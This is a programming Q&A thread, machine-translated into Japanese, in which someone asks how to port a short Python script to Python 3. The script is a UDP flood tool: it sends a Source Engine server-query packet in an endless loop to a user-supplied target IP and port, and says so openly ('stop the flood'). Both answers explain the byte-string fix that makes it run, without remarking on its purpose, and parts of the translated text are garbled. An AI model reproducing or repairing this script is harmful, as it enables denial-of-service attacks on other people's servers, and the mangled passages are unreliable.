1

これは Python 2.x で書かれたコードですが、Python 3.x で実行したいと考えています。

この行は Python 3.x でどのように動作するでしょうか?

while True:
    sock.sendto(bytes,(ip,port))

注: 私は今日まで Python を使用したことがありません。


コード全体は次のとおりです。Python 3 で動作するようにするにはどうすればよいでしょうか?

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'

ip = input("Target IP: ")
port = input("Target Port: ")

print ("Exit the program to stop the flood")

while True:
    sock.sendto(bytes,(ip,port))
4

2 に答える 2

2

コードは Python 3 とまったく同じです。

違いはstr、Python 3 では型が Unicode 文字列を表すことstrです。Python 2 ではバイト文字列でした。

に変換bytesします。また、組み込みの名前との混同を避けるために名前を変更します。bytess.encode(encoding)bytesbytes

于 2012-12-04T13:07:09.567 に答える
1

最も可能性が高いbytesのは str です。これは、文字のコレクションであることを意味します。ネットワーク経由で文字を送信することはできませんが、バイトのみを送信できます。文字は、いくつかの方法でバイト ストリームにエンコードできます。ほとんどの場合、utf-8 を使用する必要があります。を使用して str をバイト オブジェクトにエンコードできますthe_string.encode ('utf-8')。このバイト オブジェクトは、ネットワーク経由で送信できます。

于 2012-12-04T13:04:14.413 に答える